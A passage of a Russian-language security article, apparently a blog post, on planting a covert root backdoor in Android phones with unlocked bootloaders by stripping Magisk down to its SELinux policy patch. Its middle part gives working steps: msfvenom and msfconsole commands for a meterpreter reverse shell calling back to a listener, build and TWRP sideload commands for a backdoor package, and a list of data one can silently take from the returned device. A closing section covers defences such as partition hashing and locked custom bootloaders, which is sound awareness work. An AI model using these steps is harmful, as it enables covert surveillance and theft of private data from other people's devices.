Ещё magisk добавляет права на запись в некоторые места файловой системы, где этих прав явно быть не должно, и некоторые приложения для обнаружения root-прав обнаруживают его из-за этого.
Вообще-то, magisk очень хорошо умеет прятаться от других процессов с помощью сервиса MagiskHide, который умеет прятать все точки монтирования и даже заменять некоторые свойства в системе, однако от человека, который будет исследовать файловую систему устройства, особенно до загрузки системы, спрятаться не получится. Поэтому технически подкованный пользователь быстро обнаружит наличие magisk на своём устройстве. Для наших целей это не подходит, т.к. если мы будем обнаружены, данные будет не извлечь.
Это значит, что вместо грубой установки magisk нужно поступить красиво – необходимо разобраться с тем, как именно он закрепляется в системе и как заставляет init загрузить ненастоящие политики SELinux.
План таков: мы возьмём исходники magisk и соберём из них инструмент, который будет внедрять в систему всемогущий контекст u:r:magisk:s0, но больше не будет делать ничего. То есть наша задача сводится к тому, чтобы вместо magisk установить на устройство только политики magisk.
Для начала нам нужно понять как именно magisk внедряется в систему. Суть установки magisk в следующем:
Установщик находит среди разделов на диске раздел boot
Дампит раздел boot через nanddump в файл-образ и распаковывает его
Извлекает из него образ ramdisk
Заменяет в образе ramdisk оригинальный исполняемый файл init на свой, заранее подготовленный – magiskinit
Складывает оригинальный ramdisk с оригинальным init в бэкап который ложится рядом
Если необходимо применяет дополнительные патчи, которые зависят от устройств и версии android
Запаковывает образ boot раздела и прошивает его на место оригинального boot
Бэкапит оригинальный boot раздел в /data
По окончанию мы получаем раздел boot, в котором во время запуска системы, между тем как ядро вызывает запуск процесса init и реальным запуском процесса init появляется окно, в котором magisk подготавливает всё необходимое для своей работы во время уже запущенной системы.
Если очень грубо, то работает это так: magiskinit запускается, находит файл с политиками, патчит его добавляя в него политики необходимые для работы magisk после запуска системы, добавляет в init.rc записи которые запустят сервис magiskd во время загрузки системы после чего запускает оригинальный init, который загружает уже пропатченные политики вместо оригинальных, а далее загрузка происходит привычным образом. На деле, в этом процессе есть огромное множество нюансов.
Во-первых, ramdisk у нас доступен только на чтение. Мы не можем взять и переписать boot раздел по своему желанию, и применить изменения на постоянной основе, поэтому все манипуляции над файлами выполняются в ОЗУ, заново, при каждом запуске системы.
Во-вторых, начиная с android 9, и далее в 10 и 11 очень сильно менялся подход к организации файловой системы во время работы устройства, организации хранения файла с политиками и вообще самого процесса запуска.
До android 9 скомпилированные политики SELinux всегда упаковывались в boot раздел и лежали прямо рядом с ядром, затем появился механизм split-policy, когда для каждого из основных разделов (system, vendor, иногда бывает ещё product), политики компилируются и хранятся отдельно.
Для magiskinit это значит то, что при запуске ему нужно смонтировать все эти разделы, собрать оттуда отдельные файлы с политиками, распарсить, упаковать и сложить в единый файл, найти ему место в файловой системе (которое тоже зависит от многих факторов и версии android), после чего брутально пропатчить прямо в бинарном виде исполняемый файл init – найти место где в условной конструкции выбирается тип политики, принудительно заменить его со split-policy на mono-policy и заменить путь к файлу с политиками на тот что был получен в предыдущем шаге.
Бинарного файла init, пригодного для модификации может и не быть, потому что на некоторых устройствах есть 2SI – two-stage-init или двухэтапный запуск init. Это подход, в котором исходный init файл из ramdisk не запускает систему, вместо этого он монтирует раздел с системой и уже из него запускает /system/bin/init. В этом случае magiskinit придётся не менее брутально прямо в бинарном виде патчить libselinux в системном разделе.
А есть ещё в android подход system-as-root, который обязателен для сборок android 10+. От него зависит что именно будет корнем файловой системы ramdisk или system. И оба этих случая magiskinit обязан учитывать. А ещё в некоторых условиях на некоторых устройствах ramdisk может вообще отсутствовать.
Если интересно узнать подробнее, то разработчик magisk очень хорошо и доступно описал как устроены все эти хитросплетения с запуском init. Я полагаю, что для разработчиков magisk это чистая боль, если раньше процесс загрузки был достаточно единообразным и бесхитростным, то теперь разработчики magisk тратят огромные усилия чтобы подстраиваться под это, а учитывая темп выхода новых версий android, делать это очень непросто.
Тем не менее, для нашей задачи внутреннее устройство magiskinit интересует нас только для того, чтобы понять, как именно внедрить нужные нам изменения в скомпилированные политики и отбросить всё остальное.
В исходниках нас будут интересовать в основном только файлы из директории init. Вкратце, список изменений которые были внесены в код:
В методе main() в init.cpp удаляем вызовы методов dumpmagisk() и dumpmanager().
В init.hpp обратим внимание на вызовы execinit() – это вызовы оригинального init. Перед ними во всех случаях кроме FirstStageInit добавим rmrf("/.backup") чтобы скрыть соответствующую директорию, которая будет торчать в файловой системе работающего устройства. В FirstStageInit этого делать не нужно, т.к. этот вызов всё равно будет совершён во время второй стадии init.
В mount.cpp нас будет интересовать метод setuptmp() который отвечает за создание tmpfs в файловой системе где будут храниться линки на исполняемые файлы magisk. Обычно в файловой системе это директория /sbin. Мы можем полностью удалить этот вызов для RootFSInit, т.к. моно-файл с политиками SELinux в этом случае находится прямо в ramdisk, и патчится прямо там же, но в андроид 10 и выше с приходом механизма split-policy именно туда в единый файл будут складываться собранные из всех разделов политики, поэтому нам, похоже, обязательно придётся её оставить, но мы можем вынести её в /dev. Начиная с android 11 этот подход становится в magisk основным, т.к. с android 11 наличие директории /sbin в файловой системе не гарантируется. Меняем режим tmpfs с 755 на 700 чтобы содержимое не мог посмотреть непривилегированный пользователь и не сработали root-чекеры которые проверяют наличие доступа на запись в подозрительных местах. Удаляем создание файлов и линков magisk в tmpdir. У меня не получилось полностью избавиться от tmpdir в android 10+ и сохранить работоспособность системы, но оно вроде бы и не проблема. Прочитать tmpfs без рута не получится, а название служебной директории можно поменять с .magisk на любое случайное.
В rootdir.cpp удаляем код который патчит init.rc для запуска демона magisk в системе
Ну и напоследок в core/bootstages.cpp удалим код в методе bootcomplete() отвечающий за действия после загрузки системы – создание SECURE_DIR, это служебная директория magisk в userdata, в ФС она обычно располагается по пути /data/adb/magisk и запуск установки MagiskManager при первом запуске.
На выходе получаем нечто, что можно назвать magisk без magisk. Он будет патчить политики SELinux до запуска init, подкладывая туда всемогущий контекст u:r:magisk:s0, но на этом всё – никакого функционала root-прав и всего такого прочего.
Осталось подправить скрипты: скрипт сборки, чтобы он добавил наш исполняемый файл демона и файл с описанием запуска этого демона в пакет, и скрипт установки, в котором убрать всё что копирует на устройство файлы magisk, добавить копирование наших файлов и сохранение бэкапов в /tmp TWRP вместо userdata на устройстве.
Теперь можно начинать.
Проверяем на реальном устройстве
Для сборки и установки нам понадобятся: python3, android-sdk, adb и fastboot, также вам может понадобиться установить подходящие usb драйвера от производителя вашего девайса если общие не заработают. Нам также понадобится сборка TWRP для вашего устройства, которую можно скачать с официального сайта.
Вы можете скачать собранные пакеты напрямую из репозитория с примером, однако там находится исполняемый файл, который был рассмотрен выше и который просто пишет сообщения в logcat, поэтому произведём сборку руками, чтобы внедрить исполняемый файл со стейджером meterpreter и получить настоящий удалённый шелл.
Ловить удалённое подключение от устройства будем на Kali в виртуалке. Для этого на ней сгенерируем пейлоад:
$ msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT> -f elf > revshell
И настроим слушатель:
$ msfconsole -q
> use exploit/multi/handler
> set PAYLOAD payload/linux/aarch64/meterpreter/reverse_tcp
> set LHOST <LISTENER_IP>
> set LPORT <LISTENER_PORT>
> run -j
После этого возвращаемся на хост машину.
Клонируем репозиторий:
$ git clone https://github.com/LuigiVampa92/unlocked-bootloader-backdoor-demo.git
$ cd unlocked-bootloader-backdoor-demo
Исполняемый файл по пути revshell/revshell заменим на нагрузку сгенерированную в Kali. После этого приступим к сборке.
Создадим для скрипта сборки переменную окружения, указывающую на абсолютный путь к android-sdk (зависит от вашей операционной системы):
$ ANDROID_SDK_ROOT=/usr/lib/android-sdk
$ export ANDROID_SDK_ROOT
Подготавливаем NDK для сборки. Это нужно сделать именно через установочный скрипт, т.к. скрипту будет нужен отдельный изолированный инстанс NDK для сборки и рассчитывать он будет именно на него:
$ ./buildrevshell.py ndk
Запускаем сборку:
$ ./buildrevshell.py
Собранные пакеты будут лежать в директории out.
Переходим к установке.
Сперва перезагружаем устройство в режим fastboot. На разных устройствах это делается по-разному. В большинстве случаев необходимо выключить устройство, зажать одну из физических кнопок регулирования громкости (например кнопку прибавления громкости) и не отпуская её нажать на несколько секунд кнопку питания.
Загружаем TWRP:
$ fastboot boot twrp.img
Небольшое важное отступление. Я смог проверить работу только на устройствах которыми располагаю сам. Среди них были устройства на android 9 и 10, LineageOS 16 и 17, с классическим init как в старых системах и two-stage-init + system-as-root. Среди них не было устройств с system-as-root на android 9 и устройств с A/B партициями. Поэтому если конфигурация вашего устройства отличается, то на нём могут возникнуть непредвиденные проблемы. Я рекомендую сделать бэкапы важных разделов и сохранить их для того, чтобы иметь возможность восстановить их руками, в случае если что-то пойдёт не по плану.
Обычно это будет раздел boot, сделать его бэкап после загрузки TWRP можно так:
$ adb shell
# ls -la /dev/block/by-name | grep boot
lrwxrwxrwx 1 root root 16 1973-02-14 07:56 boot -> /dev/block/sde19
# dd if=/dev/block/sde19 of=/tmp/boot.img
131072+0 records in
131072+0 records out
67108864 bytes transferred in 0.429 secs (156430918 bytes/sec)
# ^D
$ adb pull /tmp/boot.img
/tmp/boot.img: 1 file pulled, 0 skipped. 35.8 MB/s (67108864 bytes in 1.785s)
Проверьте есть ли у вас отдельные разделы для DTB, для этого зайдите в adb shell и выполните:
$ ls -la /dev/block/by-name | grep dtb
Если увидите в списке dtb, dtbo и dtbs, то сделайте и их бэкапы тоже.
Ещё пара дежурных предупреждений:
Пожалуйста производите все действия только на своём устройстве
Убедитесь что на устройстве нет важных данных которые страшно потерять
Все действия выполняются на ваш страх и риск
Поехали. Запускаем sideload через GUI (Меню/Advanced/Sideload) или из терминала:
$ adb shell 'twrp sideload'
Шьём:
$ adb sideload zip_reverse_shell_install.zip
Важно! Здесь в зависимости от того был ли на устройстве предварительно установлен magisk или нет будет пропатчен или не пропатчен boot раздел. Если на устройстве magisk ранее установлен не был, то необходимо будет сохранить бэкапы оригинальных разделов. Сделать это нужно обязательно, даже если предварительно сделали бэкапы руками, иначе удалять наш инструмент также придётся руками, потому что деинсталлятор будет полагаться на наличие именно этих бэкапов, именно в этом формате. В логе TWRP тоже вылезет большое предупреждение об этом.
Вытаскиваем бэкапы с устройства:
$ adb pull /tmp/backup_original_partitions .
Теперь можно выключить или перезагрузить устройство.
Удаление с устройства производится в обратном порядке:
Перезагружаемся в fastboot
$ fastboot boot twrp.img
Если сохраняли бэкапы во время установки, то вызываем:
$ adb push backuporignialpartitions /tmp/backuporignialpartitions
Затем:
$ adb shell 'twrp sideload'
$ adb sideload zip_reverse_shell_uninstall.zip
Результат
В рамках нашей задачи по изъятию данных будем считать, что устройство было возвращено владельцу. Владелец включит его, введёт код разблокировки и будет им пользоваться, а мы получим сессию в msfconsole и удалённый доступ к устройству.
Итак, что мы имеем в итоге:
Главный плюс в том, что у нас полностью рутовый шелл, даже если на устройстве не были установлены root-права. Никаких дополнительных приложений в систему установлено не было, поэтому сильно бросаться в глаза ничего не будет. Демон не будет останавливаться даже если пользователь гасит экран устройства и отправляет его в "сон", потому что "сон" для процессов android приложений, а не для демонов. Поскольку это meterpreter шелл, мы можем передавать файлы, например скачать внутренние директории любого приложения с приватными файлами, shared preferences, базами данных и т.д. У нас есть доступ к общему хранилищу, можно выкачать фотографии, видео, документы и т.д. У нас есть доступ к системным исполняемым файлам. Можем, если потребуется, загрузить на устройство apk и вызвать pm для его установки. Теоретически мы можем пользоваться и другими возможностями meterpreter, например прокидывать через контролируемое устройство трафик как через прокси.
Главный минус в том, что у нас нет прямого доступа к Android фреймворку. Можем установить apk с сервисом через pm, и стартовать этот сервис через am, но это уже будет заметно – приложение будет видно в настройках устройства. Многие возможности meterpeter, например запись микрофона, доступ к камерам и получение геолокации, не будут работать, потому что пейлоад заточен на обычные дистрибутивы linux работающие на железе с архитектурой arm64, например на raspberry pi, а не на android, на котором обращение к устройствам значительно отличается. Технически реализовать всё это можно, но придётся писать код для этого руками. Удаление демона из системы без физического доступа к устройству может быть сопряжено с трудностями.
Что ещё можно сделать?
Данный вариант установки бэкдора довольно грубый. Внедрение происходит напрямую в системный раздел, что неплохо, но можно сделать лучше. Например, несмотря на то что простенькие root-детекторы его не обнаружат, изменённое состояние system раздела точно не позволит пройти проверку SafetyNet, хотя можно попробовать поиграть с исходниками MagiskHide и заточить их под свои нужды. Логичным продолжением будет хранение нужных файлов отдельно и монтирование их поверх системного раздела таким же образом каким magisk доставляет в файловую систему свои файлы. Продолжая мысль ещё дальше можно попробовать внедриться напрямую в ramdisk и прямо оттуда прокинуть его в файловую систему и смонтировать поверх system.
Как защититься?
Самый простой подход, для которого даже не нужно ничего предпринимать – отказаться от использования root-прав и альтернативных прошивок. Это спорный совет для тех кто пользуется альтернативными сборками для прокачки приватности своего устройства. Это моё личное мнение, но я считаю, что нынешний стоковый android очень даже неплох. Я долгое время интересуюсь модификациями системы, направленными на усиление приватности и безопасности, и должен отметить, что в последних трёх версиях ОС была проделана впечатляющая работа по сокращению возможностей для сбора информации с устройства. Если раньше разница между стоковой сборкой ОС и альтернативной, усиленным всякими специализированными инструментами вроде XPrivacyLua с кастомными хуками была огромной, то теперь она очень сократилась.
Разумеется, от некоторых вещей в android Google ни за что не откажется, и на стоковой прошивке никогда не отделаться от рекламного идентификатора, но тем не менее большую часть bloatware можно безболезненно отключить. Плюс, у пользователя android всё ещё есть свобода самостоятельно решать какими именно приложениями он будет пользоваться и откуда их устанавливать. Не обязательно полагаться на google play, можно использовать альтернативные репозитории, например F-Droid. Не обязательно завязываться на экосистему Google. Можно в качестве альтернативы использовать NextCloud на собственном сервере. В общем, при правильном подходе можно заменить в стоковой системе практически всё и получить устройство, которое будет практически так же хорошо как и на альтернативной прошивке, при этом иметь заблокированный загрузчик и все плюсы использования немодифицированного устройства, такие как работающий Google Pay и платежи касанием по NFC, беспроблемно работающие приложения банков и иные полагающиеся на проверки SafetyNet, нормально работающая камера и т.д.
При этом подходе многое зависит от производителя устройства. Некоторые вендоры поставляют на устройства операционную систему напичканную различным хламом и собирающими информацию сервисами, другие поставляют отличные минималистичные сборки почти не отличающиеся от AOSP. Некоторые вендоры очень ответственно относятся к поддержке операционных систем на своих устройствах. Например, до 10 версии android существовала утечка списка сетевых подключений через /proc/net, которой даже пользовались некоторые производители приложений, сильно инвестирующие в сбор персональных данных, такие как facebook. На моём стареньком смартфоне с android 9 производитель закрыл эту дыру, несмотря на то что устройство так и не получило обновления до android 10, а запущено было вообще на android 7.
Другой очевидный подход заключается в том, чтобы не допускать попадания устройства физически в чужие руки. По сути, всё что обсуждалось выше касается в основном только физического доступа. Если не держать постоянно включённым режим разработчика, не давать приложениям права администратора, следить за тем, что именно устанавливается на устройство и соблюдать базовые "правила гигиены", то всё будет хорошо.
Для тех случаев, когда устройство изымается пограничниками или полицией, либо попадает на время в руки злоумышленников возможно организовать противодействие. Разумеется, это имеет смысл только если смартфон в их руки попал не разблокированным. Это несложно, но требует некоторых регулярных усилий. Для этого нужно взять за привычку считать хэши основных разделов, в которые может быть подкинут бэкдор при физическом доступе, сразу после установки системных обновлений. Обновили систему – пересчитайте хэши и сохраните в надёжном месте. Если пользуетесь root-правами, то можно сделать нехитрое приложение для этого, если не пользуетесь – придётся загружаться после установки в TWRP и снимать там.
В общем-то логика получается следующей: после получения устройства на руки, не загружаясь в систему и не вводя код разблокировки, загружаемся в TWRP, пересчитываем хэши. Если на разделах boot, system или vendor они поменялись, то в систему было что-то добавлено, или по крайней мере была предпринята попытка этого.
Третий и самый сложный подход – продолжать использовать альтернативную сборку ОС, но заблокировать загрузчик используя user-settable root of trust. Это действительно сложный и затратный подход, достойный написания отдельной статьи, потому как требует самостоятельно делать сборку ОС и самостоятельно её подписывать.
Наибольшее ограничение в том, как мало существует устройств, на которых можно провернуть подобное. Несмотря на то, что в Google предоставил все необходимые возможности для этого, а в документации есть общее и подробное описание того как это работает, очень немногие производители поддерживают эту фичу. Честно говоря, я знаю только о двух – это Google (линейка смартфонов Pixel) и OnePlus. Поддержка проверки подписи операционной системы ключами пользователя не является обязательной для сертификации устройства и реализуется производителем устройства строго по его желанию. Полагаю, что большинство производителей просто не желает делать дополнительную работу, либо не желает чтобы у покупателей появился дополнительный повод использовать неродную ОС на их устройствах.
Использование такого подхода будет требовать сборки и подписи каждого нового обновления, что может быть утомительно, т.к. это требует времени, некоторых технических знаний, мощной производительной машины для проведения сборки, с большим и быстрым хранилищем на несколько сотен гигабайт, а также поддержки сервера на котором будут публиковаться обновления. Я уверен, что далеко не каждый захочет заниматься этим.
Из доступных и реально работающий готовых решений подобного рода существует альтернативная сборка android – GrapheneOS, которая поддерживает и даже рекомендует использование user-settable root of trust на устройствах, на которые она устанавливается, но увы она работает только с устройствами Google Pixel.
Выводы
Мы посмотрели какие неприятности несёт с собой разблокированный загрузчик, смогли убедиться в том, что при физическом доступе к устройству он позволяет злоумышленнику встроить в android малварь, при этом ему не обязательно для этого вводить код разблокировки или включать режим разработчика и adb. Предупреждён значит вооружён. Будьте осторожнее. Если пользуетесь смартфоном с кастомной прошивкой или root-правами, то не передавайте его в нехорошие руки
UPDATE
Спасибо @vm03за указание на ошибку про отсутствие собранного ядра в сборках LineageOS
Спасибо хабровчанам за интерес к статье и добрые отзывы